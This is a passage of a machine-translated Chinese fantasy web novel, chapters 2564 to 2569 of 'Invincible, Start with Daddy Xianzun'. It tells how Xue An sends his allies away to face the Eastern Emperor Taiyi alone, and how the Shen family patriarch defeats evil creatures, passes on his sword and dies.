    Not only that, when the starry sky completely disappeared, the string of cause and effect that was thicker than the arm also disappeared.


    Xue An''s palm slashed.


    Donghuang Taiyi laughed proudly, "Xue An, even if you can touch the strings of cause and effect? ??As long as I exist in a human state, the cause and effect will be hidden, leaving you at a loss, and I guess you are like this. The state won��t last long, right!"


    In his smile that he thought was a tricky face, Xue An didn''t show the frustration of failing.


    Because at this moment, the people who fell into a frantic state because of the spiritual pollution of the strange starry sky are waking up one after another.


    Immediately afterwards, I saw Xue An taking a deep breath, and then cutting with his hands, and instantly cut countless hair-like red threads in the mess of cause and effect.


    When these red lines broke one by one, there were bursts of exclamation from the crowd.


    Because with each break of the red thread, one person will disappear with it.


    In the blink of an eye, most of the Baijiazhong disappeared, and the rest of the people were also at a loss, not knowing what Xue An was doing.


    On the contrary, Dong Huang Taiyi trembled all over, and suddenly understood the purpose of Xue An''s move, and couldn''t help but roared into anger.


    "Xue An, you are already dead, you still want to save these people?"


    As soon as this statement came out, the remaining hundreds of families finally understood.


    Yue Qinghuan shouted anxiously: "Xue An, what are you doing?"


    Yue Shifang on the side could not help but sigh slightly: "He is cutting off the cause and effect of our entry into this battlefield. In this way, we have no cause for entering this battlefield, and naturally there will be no effect standing here. !"


    Yue Qinghuan seemed to understand but only understood one thing, that is, Xue An was saving everyone, and then fighting alone.


    But this time he was facing a collection of top-level existences that the whole world could not do anything to help them.


    And if he was left alone, the consequences would be even more disastrous.


    At this point, she couldn''t help but feel confused.


    "Xue An, let me stay!" she shouted.


    Many people shouted the same thing at the same time.


    Such as Mengzhu Nasha, such as Ao Shu.


    But at this moment, Xue An turned a deaf ear to these words, and kept moving in his hands, cutting off everyone''s cause and effect simply and neatly.


    Yue Qinghuan felt that his own existence was gradually thinning, and tears could not help but burst into his eyes.


    "Xue An!"


    She wanted to shout, but her cause and decisiveness had already been determined, and she could no longer cause any disturbance to this battlefield, which naturally included voice.


    But at this moment, Xue An''s voice came from the bottom of her and Yue Shifang and others'' hearts.


    "Don''t worry about me!"


    When the words fell, everyone had a flower before their eyes, and then they came to the square.


    The sudden appearance of these people shocked everyone.


    Especially the Fox Ye and others, who are fighting evil things, are even more inexplicable.


    "What''s the matter? Why are all these people coming out?" Hu Ye asked.


    Of course Luo Linyuan didn''t know what was going on, but he saw the solemn color on everyone''s face.


    "Should... something happened! Otherwise, it wouldn''t appear so suddenly."


    "They all show up? No! Why isn''t Xue An staying together?"


    Fox Ye''s gaze patrolled among the crowd, but he couldn''t find the familiar figure, and couldn''t help but exclaimed extremely anxiously.


    And it was his words that made Yue Qinghuan, who had lost his soul, cried out immediately.


    The rest are even more concerned.


    This kind of performance made Hu Ye''s heart more and more bottomless, and UU reading couldn''t help asking loudly: "Miss Yue, what happened to Xue An? Why didn''t he come out?"


    Yue Qinghuan was crying out of breath at this time, and Li Hua choked with rain: "He cut off the cause and effect and saved us all, but he stayed in the battlefield to face the Eastern Emperor Taiyi alone. "


    As soon as this remark came out, the audience shook.


    Hu Ye''s mouth was wide open, and his face was full of shock.


    Although he had always had great confidence in Xue An, the news still shook him.


    After all... That is the top existence in this world, the Eastern Emperor Taiyi!


    And that is when the square is quiet, outside the Shen family star field that is hundreds of thousands of miles away.


    The Jianxiu who had just repelled the fat man''s evil attack couldn''t help but let out a sigh of relief, and then looked at Patriarch Du Jingsheng with admiration on his face.


    But Du Jingsheng did not show the slightest joy.


    On the contrary, as if waiting for something, stood quietly in the same place.


    Suddenly!


    The void that had just calmed down began to disturb again.


    Then I saw countless slender figures beginning to emerge.


    Du Jingsheng said lightly: "Come on! Get ready for battle."


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2564 Face alone), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2565： Scabbard evil

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    As soon as his voice fell, these slender figures had already rushed out of the darkness and appeared in front of everyone.


    What kind of scene is this.


    I saw countless slender creatures swimming in the void, swarming like a school of deep-sea fish.


    After getting closer, people discovered that these slender creatures really looked like hairtails, with their eyes growing on both sides of the body, looking very funny.


    "What is this? I think our diet is too monotonous, so is it a special meal?" someone joked.


    Everyone roared with laughter.


    Only Shen Muyu''s expression is very serious.


    Because he felt a very strange breath from these creatures.


    These creatures are obviously very weak, and it seems that a single sword can kill most of them, but strangely, Shen Muyu found that his sword''s heart was trembling faintly, just like encountering an existence that it can do nothing.


    This feeling makes Shen Muyu feel uncomfortable.


    At this moment, the uncontrollable Jian Xiu brazenly used his sword, trying to destroy these weird creatures with a single sword.


    The sword light was dazzling, and the faces of many Shen Jiajianxiu were also full of lightness, thinking that this one would be enough to completely wipe it out.


    But at this moment, after this sword light came into contact with a "hairtail"-like creature headed by it, it disappeared without even making a sound.


    That''s right!


    It just disappeared completely, and the whole process was absorbed by this "hairtail" without even the slightest ripples aroused.


    These schools of fish-like weird creatures continue to move forward.


    But at this time, Shen Jia Jianxiu couldn''t laugh anymore.


    Many people''s eyelids jumped wildly.


    At the same time someone exclaimed: "Look at the monster just now!"


    Everyone turned their eyes and looked, and saw that the hairtail that had just absorbed the sword intent suddenly swelled a lot. At the same time, there was a faint flickering sword light in the slender body, as if...a scabbard containing a sword inside. .


    "Damn, I still don''t believe in evil!" Another yelled, raising his hand and cutting out a sword.


    The sword intent this time was obviously much stronger than the previous one, but the final result was still the same.


    After touching a "hairtail", it disappeared without a trace in the blink of an eye, just like water marks in the sun.


    Then the size of this hairtail also swelled up, becoming a sword-sheath-like existence.


    At this point, all Shen Jiajianxiu''s complexion changed.


    If it is said that when facing those fat evil creatures, the rules of reversing all damage caused everyone a headache.


    Now these evil things like hairtails made everyone feel a touch of despair.


    Because this feeling is like all your efforts can''t stir up even the slightest waves, and are directly absorbed by them.


    "Home... Patriarch, what kind of monsters are these, why are they so weird?" Someone asked with a trembling voice.


    Except for the words that made everyone ready for battle when they first saw these evil things, Du Jingsheng in the back had been standing still on the spot, without speaking at all.


    It wasn''t until someone asked that he narrowed his sharp gaze, and said quietly, "These monsters should be specially developed by evil things to deal with our Shen family. They are shaped like scabbards and have similar functions as scabbards, just to hide them. Our sword intent!"


    "After all... no matter how sharp a sword is, it will lose its edge and lose its lethality after returning the sheath!"


    Du Jingsheng''s words made everyone''s expressions change drastically.


    "Then... what should I do?"


    "What do you think should be done now?" Du Jingsheng turned his head to look at Shen Muyu, and asked softly.


    Shen Muyu''s face sank like water, and only after a long silence did he say in a cold voice: "For the current plan, only kill!"


    "No matter what is on the other side, even if they are scabbards specially developed to deal with us, they must kill them without hesitation!"


    "After all, even if it is a scabbard, it is impossible to hide a peerless sword!"


    Hearing this, Du Jingsheng finally showed a touch of appreciation on his face, and then nodded.


    "Very well, this is the courage I should have from the Shen family! Now listen to my orders, everyone, condense sword intent!"


    With an order, a bright sword light suddenly appeared above all the sword repairs'' heads, and then rose into the air to converge into a sea of ??sword light.


    "Strike!"


    boom!


    The sword light was like a torrent, rushing forward mightily.


    The two collided in mid-air, and then the brilliance was annihilated, and the sea of ??sword light that had been shocking to the sky was quickly swallowed by this evil like a school of fish.


    The whole process was silent.


    But in the blink of an eye, all the sword light disappeared without a trace.


    Looking at these schools of fish again, you can see that their various sizes have expanded, apparently having absorbed a lot of sword intent, and then rushed to the Shen Family Star Territory again.


    "Condensation again!"


    There was another soft drink.


    In an instant, a sea of ??sword light condensed on the heads of the Shen family again.


    "kill!"


    boom!


    Like last time, the two slammed together again.


    But this time it was not as silent as last time, at least the many evil hairtails that were the first to bear the brunt were directly exploded by the violent sword intent.


    Immediately afterwards, their explosion caused a chain reaction, just listening to the bursts of sound in the void.


    But in the blink of an eye, these hairtail evil creatures were killed and wounded.


    Seeing this scene, the hearts of the Shen family that had been hanging were finally let go.


    Although there were some twists and turns, fortunately, these "scabbards" were not as powerful as imagined, and they were wiped out after a few encounters.


    But unlike everyone''s rejoicing, Shen Muyu''s complexion became more and more difficult to look.


    Because he faintly felt that since the other party could specially develop evil objects against the Shen family, he obviously wouldn''t give up so easily.


    There will definitely be more powerful players in the future. UU reading


    really.


    As everyone in the Shen family was celebrating, they were hiding in the distant void with a dark sneer.


    "Fen Hong, is this your so-called gift to the Shen family?"


    Fen Hong chuckled, "Don''t worry, this is just a plate of appetizers before the formal dinner, don''t believe me."


    Diablo looked towards the void in the distance.


    really.


    In the place where the evil hairtail had just disappeared, a little bit of black light began to emerge, and in the blink of an eye, it condensed into strips of slender "hairtail" again.


    It''s just that the hairtail this time is different from before.


    The first is that the body is more slender, and the scales on his body are also denser. The most important thing is that the two eyes on the left and the right are glowing red.


    As soon as these evil hairtails appeared, everyone in the Shen family who had just been rejoicing was astonished.


    "What''s the matter? Why are these evil things resurrected again?" Someone exclaimed.


    "What if they are resurrected, I don''t believe them, they really can''t be killed!"


    This time I didn''t use Du Jingsheng''s instructions anymore, and soon everyone gathered their sword intent and slashed toward the evil creature with fish.


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2565), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2566： Homeowner translocation

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    But this time these evil hairtails are not the same as the last time they will only be passively beaten.


    They suddenly opened their mouths, exposing their mouths full of sharp teeth, and then bit down viciously at these sword intents that came.


    Click!


    Accompanied by the sound of breaking, these sword intents were bitten into pieces by these octopus evil creatures like delicious bones, and then they chewed and swallowed.


    After swallowing, and then looking at these evil hairtails, his eyes became more and more red, and at the same time, there was a new change in his body shape.


    The scales on his body glowed with cold metallic luster, and many long bone spurs grew on his back.


    These bone spurs are slender and sharp, like the point of a sharp sword, which is daunting.


    Diablo hiding in the distant void couldn''t help but shook slightly.


    "Will it evolve itself?"


    "Of course, this is the evil thing that I have painstakingly studied, and it was born specifically to deal with the Shen family!" Fen Hong''s tone was full of pride.


    really.


    When these evolving hairtail evil creatures continued to pounce towards the Shen Family Star Territory, the monstrous power they formed made many of the Shen Family Jianxiu''s people disgraced.


    Although several sword light attacks were launched during the period, the results were worse than each.


    In the end, he couldn''t even stop the speed of these evil things a little bit, and he rushed past it gently and cleverly.


    "Patriarch, what should I do now?" someone asked with a panic expression.


    And while they were talking, these evil hairtails had already rushed to a place no more than a hundred miles away from the star field of the Shen family.


    This little distance can be said to be very close in the vast void.


    Before Du Jingsheng spoke, he saw that Shen Muyu suddenly took a step forward in silence, and appeared directly in front of these evil hairtails, and then connected his ten fingers, and displayed a ten-fingered sword towards these evil hairtails. The stunt.


    The burning fire is like flames, the extreme cold is like ice, the rock is as heavy as a mountain, sharply cut with the same sword, to the soft like water, the prosperity and dryness are like spring, the rain is lonely, the remaining snow is lonely, and you can drink alone.


    The peerless elegance of Nine Swords converged into the final chapter.


    kill!


    At this moment, the ten-finger sword that Shen Muyu displayed was much stronger than the previous one at the Hundred Schools Conference.


    As Du Jingsheng said, his previous practice was too smooth and lacked the tempering of adversity. In the end, although his sword''s heart was clear, it was as fragile as a tree without roots and water without a source.


    Therefore, losing to Xue An this time was a good thing for him.


    And Shen Muyu is worthy of being one of the top geniuses in the Shen family for thousands of years. Although Jianxin has not recovered, he has already learned many lessons from this defeat.


    Especially the understanding of Kendo has made great progress.


    So when he used the ten-finger sword again at this moment, the power was no longer the same.


    The sword is like a rolling thunder, slashing these evil creatures horizontally.


    Puff puff!


    These octopus evil creatures rushing to the front were cut off without even having a chance to react.


    But the brilliance formed by the ten-fingered sword only penetrates half of the fish school formed by these evil creatures, and then completely declines and dissipates invisible.


    Looking at Shen Muyu at this time, his face was as pale as paper, and his whole body was trembling. It was obvious that he had no strength to fight again.


    After all, his injuries have not recovered, the sword that can almost eliminate half of the evil creatures of the hairtail is already at the limit.


    As for the others, after repeated battles, the sword intent has been severely depleted, and there is little power to fight again.


    At this moment, I listened to Du Jingsheng and said in a deep voice: "You wait and retreat!"


    Everyone, including Shen Muyu, backed away.


    At the same time, I saw the brilliance in Du Jingsheng''s eyes, and even the chaotic fog that had been covering his face became much thinner, but he still couldn''t see the face underneath.


    Then he only heard a deep cry, "Sword up!"


    With this loud shout, the sword tower in the Shen family residence behind him suddenly began to tremble.


    Then he slammed up from the ground and went straight to Dujingsheng.


    While in the air, this tall sword tower quickly converged and shrank, and when it came to Du Jingsheng, it had already turned into a long sword, and then flew into Du Jingsheng''s hands.


    With the long sword in his hand, Du Jingsheng''s momentum soared again, and then he slashed with a sword without hesitation.


    How to describe the extraordinary elegance of this sword!


    Everyone who witnessed this sword felt that this sword seemed to cut off the entire world.


    The violent sword intent was vented crazily.


    These remaining octopus evil creatures can''t even struggle, and directly turn into powder under this incomparably magnificent sword intent.


    However, after this sword light crushed these evil things, it did not lose its momentum at all, but went straight into the void with an increasingly violent posture.


    The two evil creatures Diablo and Fenhong, who were originally hiding in the depths of the void watching the battle, couldn''t help but frighten their souls when they saw this scene.


    Immediately fled from the hiding place in a hurry, and fled from left to right.


    But their wishful thinking finally fell through.


    Seeing this sword split in half in the air, it went straight to these two evil creatures.


    Two puffs.


    Jian Guang passed through.


    Dia Hei and Fen Hong screamed together, and then they exploded and turned into powder.


    One sword!


    Just a sword!


    Du Jingsheng not only solved these evil creatures, but even the two evil creatures that were hiding behind the scenes were slashed under the sword.


    Everyone was shocked by this shocking sword.


    To know that Du Jingsheng has been in charge of the Shen family for so many years, this is the first time he has exerted his full strength in front of everyone.


    Shen Muyu''s eyes were all attracted by the long sword in Du Jingsheng''s hand.


    I saw him staring at this radiant long sword with fiery eyes, and couldn''t help saying: "This...isn''t the sword left by the sword ancestor?"


    Du Jingsheng nodded, with a pair of eyes shining like stars, "Yes, this is the long sword that Jian Ancestor left in the past, and behind it became the sword tower that suppressed my Shen family''s luck!"


    Speaking of this, Du Jingsheng''s tone suddenly became extremely serious.


    "Come on, take the sword!"


    Shen Muyu was taken aback for a moment, and then stretched out his hand for an unknown reason.


    Then I saw Du Jingsheng solemnly put the long sword in his hand into Shen Muyu''s hand.


    "This sword is the seal of the Patriarch of the past dynasties. Now it is handed over to you!"


    Shen Muyu felt that his hands sank, just astonished.


    Just listen to Du Jingsheng then continue to say: "Shen Muyu and all the Shen family disciples listen to orders!"


    Shen Muyu and everyone immediately knelt to the ground.


    "Since then, Shen Muyu has been the head of the Shen family, and you should all follow his orders!"


    Shen Muyu''s head bounced, almost thinking that he had heard it wrong.


    Not only him, but also the others.


    No one understood why Du Jingsheng suddenly ordered this.


    But at this moment, I saw that Du Jingsheng''s momentum dries out like a frustrated ball.


    Then he opened his mouth and spit out a big mouthful of blood, then fell back.


    Everyone was stunned.


    Shen Muyu immediately rushed forward and hugged Du Jingsheng.


    "Patriarch! You..."


    At this time, the fog on Du Jingsheng''s face finally dispersed completely, revealing a pale cheek below.


    With this face, the shocked Shen Muyu even forgot the following words.


    Because just on the face of the Shen Family Patriarch, there was a huge wound that penetrated the entire cheek.


    Invincible, the newest chapter address starts from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2566 Patriarch Translocation), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2567： Past years

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This wound started from the lower jaw, leaned upwards, and after running through the entire face, it finally disappeared at the left temple.


    The wound is so deep that not only the bones can be seen, but the beating pink meninges can even be faintly seen at the location of the temples.


    As an ordinary person, it is estimated that he would have died long ago after suffering such a serious injury.


    But on Du Jingsheng, apart from making his originally beautiful cheeks hideous and terrifying, he didn''t actually kill him.


    Shen Muyu even inferred from the shriveled flesh and blood on both sides of the wound that this wound was definitely not formed in a day or two, it must have been a long time.


    No wonder the Patriarch never shows his true colors, it turns out that it is for this reason.


    But who is the owner of the wounded Patriarch?


    These thoughts flashed in Shen Muyu''s mind, and then he left them behind.


    Because this is not the time to think about this.


    Shen Muyu took a deep breath, hugged Shen Muyu''s body tightly, and then he passed his own cultivation level, so as to stabilize Du Jingsheng''s injury.


    But at this moment, Du Jingsheng shook his head and directly refused his teaching.


    "Don''t bother, this injury is not something you can stabilize at all!"


    Shen Muyu''s tears burst out, because he could clearly feel the Patriarch in his arms, his life was fading fast.


    This kind of powerlessness, which can only watch but can''t do anything, drives him crazy.


    "What to do, what to do, what should the Patriarch do now? Is there really no way?"


    Seeing the tears on Shen Muyu''s face and listening to his choked whisper, the corners of Du Jingsheng''s mouth rose slightly, pulling out a chuckle.


    "Okay, don''t cry, you are the head of the Shen family now!" Du Jingsheng said softly.


    But the more you say this, the more sad Shen Muyu, "No, in my mind you are the head of the Shen family!"


    "Stupid boy!" Du Jingsheng chuckled, his eyes gradually dimming, "Actually...I am not the head of the Shen family at all!"


    What?


    Shen Muyu was stunned.


    What does this mean?


    At this time, Du Jingsheng coughed violently. Accompanied by his cough, the dry flesh on both sides of the wound on his face suddenly became a layer of black gas, and it was faintly diffused.


    Shen Muyu was startled, and subconsciously stretched out his hand to touch the wound.


    But Du Jingsheng suddenly sat up and avoided his hand with his head.


    Then Du Jingsheng said lightly: "Don''t touch these black air!"


    "Patriarch, what is going on with this injury?" Shen Muyu asked tremblingly.


    Du Jingsheng sighed softly, "There are many things that should have been told to you long ago, but at that time you couldn''t bear these responsibilities at all, so I didn''t tell you about it, but it won''t work if you don''t tell it now!"


    Speaking of this, Du Jingsheng looked at Shen Muyu very seriously, and said word by word: "Actually, I am not from the Shen family at all!"


    Shen Muyu opened his mouth wide and listened in disbelief.


    In fact, he once had doubts, that is, as the head of the Shen family, why did Du Jingsheng not have the surname Shen but Du?


    It''s just that he didn''t think much about it at the time.


    Until now, when Du Jingsheng said that he was not a member of the Shen family, Shen Muyu felt a thud in his head, as if something was broken.


    At this time, Du Jingsheng said quietly: "I think you must have had doubts before. I don''t know why my surname is Du instead of Shen. Now I will tell you!"


    "I am indeed not a member of the Shen family, my true identity is actually just the little sword boy who was next to the head of the Shen family back then!"


    Next, with Du Jingsheng''s narration, Shen Muyu finally understood what was going on.


    It turned out that evil things ravaged the outer world, and the Shen family, the leader of Jian Xiu, was naturally the first to bear the brunt and was the first to be impacted.


    It''s just that the high-level talents of the Shen family came out in large numbers, and with a very small number of people, they repelled the attack of evil things.


    But in the process, the senior officials of the Shen family also discovered something wrong with these evil things.


    They seem to have a very strong power to invade people with the blood of the Shen family, and even the slightest injury will quickly fall under the control of evil.


    In this case, the senior management of the Shen family suffered heavy losses, and even the owner of the family was damaged.


    For this reason, Shen Jiacai urgently issued the famous ban on footing.


    But just staying behind closed doors can''t solve the actual problem. For this reason, the Shen family''s senior management simply abandoned their privileged position, dispatched collectively, and launched a desperate battle with evil things.


    When talking about this, Du Jingsheng''s eyes were tearful.


    "In order to prevent the weakness of the Shen family from being revealed to the heavens, this battle was carried out in secret, and outsiders would not know it at all, but the severity of it was beyond ordinary people''s imagination."


    "Countless amazingly talented geniuses often fail to support them for a quarter of an hour, and they fall directly! Even the position of Patriarch is changed several times a day."


    "I was just an inconspicuous little sword boy, and because of serving the son, I followed on the battlefield together, but soon the sword heart of the son I served burst in half an hour after taking over as the master of the house. And die!"


    Shen Muyu was shocked, because the words Du Jingsheng said now were secrets he had never heard before.


    "Then... What happened later?"


    "Later..." Du Jingsheng smiled bitterly, "Later, I was also seriously injured in the battle with the evil thing, and almost died in a coma."


    "But under this circumstance, the only master left in the Shen family at the time, and also the last Patriarch, tried his best to save me, and personally gave me the long sword left by the sword ancestor!"


    "He told me that UU reading is now in chaos and evil things are raging, and the Shen family has been specially targeted. If you are not careful, you may fall into the collective and become a sharp sword in the hands of evil things! "


    "In order to avoid this situation, I, without the blood of the Shen family, became the best choice for the next Patriarch. After all, even if evil invades, I can stay awake at the last moment!"


    "And after possessing the Sword Ancestor Longsword, I also have the power to live and kill the Shen family. If evil things really invade the Shen family by that time, he will make me sure to overthrow the entire Shen family at the last moment!"


    "At that time, the last Patriarch who didn''t even leave his name said very clearly that the Shen family would rather die than become a running dog of evil!"


    "After saying these things, he gave me all the kendo cultivation that he had left, and then he went to his death!"


    Speaking of this, Du Jingsheng coughed a few times because he was too excited, but he suppressed it and said breathlessly.


    "At that time, this last Patriarch rushed into the group of evil creatures. Because he was already seriously injured, he was about to mutate soon. These evil creatures naturally knew this, so they didn''t act, but surrounded him and tried to wait. He fell!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2567), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2568： Keeper and property returned to original owner

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "But how can these sons of **** understand the spirit of my swordsmanship? Even though I was thrown out of the battlefield by him at the time, I can still see that moral righteousness rushing into the evil group and finally detonating The figure of Jianxin dying!"


    After listening to Du Jingsheng''s narration, Shen Muyu was already numb in shock, and his eyes were full of admiration.


    What is sword repair spirit?


    This is the sword repair spirit!


    At the same time, Du Jingsheng''s eyes suddenly flourished.


    "You stretch out your hand!"


    Shen Muyu trembled all over, waking up from the shock, and then stretched out his hand without knowing why.


    Just halfway through, Du Jingsheng suddenly held it in his hand.


    Then an extremely majestic kendo cultivation was instilled into Shen Muyu''s body like a mighty river.


    Shen Muyu opened his mouth slightly and wanted to shout, but couldn''t even make a sound.


    Du Jingsheng said softly: "Actually, after the Patriarch gave me all the cultivation base, I had the opportunity to completely heal the wound, but I didn''t do that because I was not from the Shen family, and there was something flowing on my body. Not the blood of the Shen family!"


    "I''m just a guardian sitting in the position of the head of the house, a temporary custodian, so these swordsmanship who originally belonged to the Shen family are considered to be returned to the original owner for this moment!"


    Speaking of this, Du Jingsheng''s eyes sharpened, "All you can do is to receive and digest and understand. If you can''t understand it, put it in Jianxin. Don''t have the slightest distraction. Otherwise, wouldn''t it be worthy of the son who lived thousands of years ago and many adults? Our pains?"


    This sharp drink was really useful. Shen Muyu, who was originally swayed, finally secretly crueled, and immediately discarded all distracting thoughts and began to absorb these swordsmanship cultivation skills with all his strength.


    In an instant, he seemed to be in a sea of ??kendo, and the understanding of the sword intent of countless kendo powers clearly emerged before his eyes.


    At the same time, countless exquisite sword moves and battle scenes emerged one after another.


    It was the understanding and fighting experience of kendo that those masters of the Shen family had accumulated.


    This is even countless times more precious than those cultivation bases.


    Under this tempering, Shen Muyu felt that his sword heart was rapidly becoming clear and clear, and it became more and more radiant.


    In the end, one of his sword hearts was like the most crystal clear diamond, with no flaws in sight.


    At this moment, Shen Muyu who was immersed in the ocean of kendo felt a shock all over, and then broke away from this extremely mysterious realm.


    Then the first thing that came into view was the description that Du Jingsheng, who was withered and looked like a corpse, was slowly falling backwards.


    "Patriarch!" Shen Muyu yelled, just about to rush forward to support him.


    At this moment, a figure appeared behind Du Jingsheng, and then gently hugged him.


    This figure is like a flower like a jade, and she is a stunning beauty.


    But Shen Muyu was taken aback, because this person''s breath was clearly the great treasurer of the sword tower!


    At the same time, the shopkeeper sighed slightly, "Is it really worth it to endure the endless pain for thousands of years for a promise?"


    Du Jingsheng chuckled, then said quietly: "It doesn''t matter that it is worthless. Anyway, I should have died ten thousand years ago. It is already a profit to live so long!"


    "Actually, if you didn''t forcefully use me to kill evil things just now, it wouldn''t be like this!" The woman mumbled to herself.


    At this moment, Du Jingsheng suddenly stretched out his hand and gently stroked the woman''s cheek.


    "Are you sad?"


    The woman was silent for a moment, then nodded.


    "You have been with me for so long, and now you are leaving suddenly, of course I am sad!"


    "Silly girl..."


    Du Jingsheng chuckled slightly, but before he could say anything, his body began to crack, then turned into flying ashes, and disappeared.


    The woman knelt and sat on the ground blankly, her hands still in an embracing posture, but the person in her arms had disappeared.


    And this disappearance is the disappearance of even the soul.


    Shen Muyu thumped and fell to his knees, with a mournful cry, "Patriarch!"


    This time he knelt, and all the rest of Shen Jiajian Xiuxi knelt on the ground, tears streaming down.


    The woman was stunned for a long time, then gently sniffed, and said in a calm tone: "Asshole, did you just leave like this? It''s really damning!"


    Although the tone seemed relaxed, there were tears in her eyes.


    And at this moment, in the void that had just experienced a baptism of sword intent, two figures suddenly appeared.


    These two figures were very incomplete when they first appeared, but soon there were dark brilliance condensed on them.


    In the blink of an eye, two figures suddenly appeared.


    It was the two evil creatures Di Hei and Fen Hong who had just been beheaded by Du Jingsheng before.


    I saw Diablo''s face was full of lingering fear and anger.


    "Didn''t you say that this time you dealt with the Shen family in a ten-and-one manner? Why did I almost die with you?"


    Fen Hong didn''t pretend to be mysterious at this time, mainly because the black evil spirit that had haunted him before had been cut off by Du Jingsheng with a single sword.


    So at this moment, he appears directly in his body image, his face can be described as pale as snow.


    "Who knows that the Shen family still has such a master after the disaster of the year, and that sword just now is a master of the world even if it was placed ten thousand years ago!"


    "Then what should I do now? Are you just staring like this? You must know that the Lord Donghuang personally ordered the slaughter of the Tianwaitian sect, but you and I did not complete it. If this is known by his old man, do you think there are still you and me? Is his life alive?" Diablo said angrily.


    "Haha, don''t worry, as long as the Eastern Emperor is still there, you and I will not die, and as long as you and I do not die, this Shen family is a meal on the plate!"


    "Especially, I can feel that the person who just slashed that peerless sword is no longer there. Now as long as you and I operate a little bit, the result of waiting for these people will still not change!"


    Speaking of this, Fen Hong once again became invisible in the darkness and began to prepare for the next "revenge".


    And that is, at the same moment, among the hundreds of battlefields far away, a shocking battle is about to begin.


    Seeing the battlefield that had become empty, Donghuang Taiyi''s complexion couldn''t help turning pale, and then gritted his teeth and roared.


    "Xue An, you are really great enough to save these hundreds of families at the expense of yourself!"


    Xue An looked at Donghuang Taiyi, whose momentum soared like a stormy sea, with a grim face, and did not respond at all.


    The Eastern Emperor Taiyi was furious. He was thinking of killing all the elites, including Xue An, on the battlefield. That''s why he took pains to set the game.


    Unexpectedly, Xue An unexpectedly performed a move against the sky at a critical moment, letting everyone go.


    How could this not make him angry.


    "Xue An, now your causal supernatural powers must be out of use. Without it, what are you going to fight with me?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2568 Keeper and Return to the Original Owner), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2569： Sacrifice

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Back then..." Xue An suddenly said, her voice as cold as ice, without the slightest ripple.


    "When I first entered the spiritual path, I once encountered an enemy who was invincible to me at the time."


    While talking, Xue An put his hand into his chest.


    Although his skin was broken and blood was flowing, his complexion remained unchanged.


    "This man said at the time that he wanted to let me die without a place to be buried. At that time, no one thought I could live, because with my strength at the time, this man''s words were equivalent to a trial and he directly declared my death sentence. ."


    These words reverberated over the battlefield, and Eastern Emperor Tai changed slightly, but sneered.


    Click!


    With a crisp sound of broken bones, Xue An broke a rib in his chest without changing his face, and then slowly pulled it out of his body.


    The white ribs travel through the blood, giving a strange and cruel beauty.


    "But do you know the end result?"


    Donghuang Taiyi smiled rather than smiled, "How about it?"


    "The result is that the person who thinks he is in control of my life and death has turned into a bone, but I have walked step by step and become the top powerhouse above hundreds of millions of people!"


    "You said this, what do you want to tell me? Don''t you think that this time will be the same as before?" Donghuang Taiyi sneered as if he had heard a joke.


    Xue An shook his head, and then gently wiped away the trace of blood remaining on his ribs with his hand.


    "You are wrong. Of course, this time it won''t be the same as before, because the people I dealt with before are the same human race, but you are a base and dirty evil thing, so you won''t even have the chance to leave bones! "


    Speaking of this, a raging flame suddenly rose in Xue An''s eyes, and then gently stabbed the sword in his hand.


    This sword is as light as boneless, as if a gust of wind can take it away.


    Donghuang Taiyi sneered, "Xue An, I have to admit one thing, that is, your mouth is really hard enough, and when you are in such a desperate situation, you still want to use this kind of story to comfort yourself."


    With that, he didn''t even look at the sword that stabbed him, because this sword intent didn''t even have a chance to reach him.


    Sure enough.


    The sword wind disappeared with the wind only halfway, but Xue An was not discouraged, and the backhand was another sword.


    The power of this sword is a little bit stronger than before, but it is only a little bit more powerful.


    Donghuang Taiyi frowned, "Enough, I don''t have time to play this boring game with you here, Xue An, you have lost everything now, but since you are not willing to give up, then I have to let You are going to die."


    With that said, Dong Huangtai was full of evil spirits, and then simply waved, Xue An flew upside down like a kite with a broken line, and fell heavily into the ruins of the ring.


    But just when Eastern Emperor Taiyi thought that the battle was over, another weak sword intent rushed out of the smoke and dust, and then rushed to Eastern Emperor Taiyi.


    Dong Huang Taiyi was upset and her face suddenly became extremely hideous.


    "Really looking for death!"


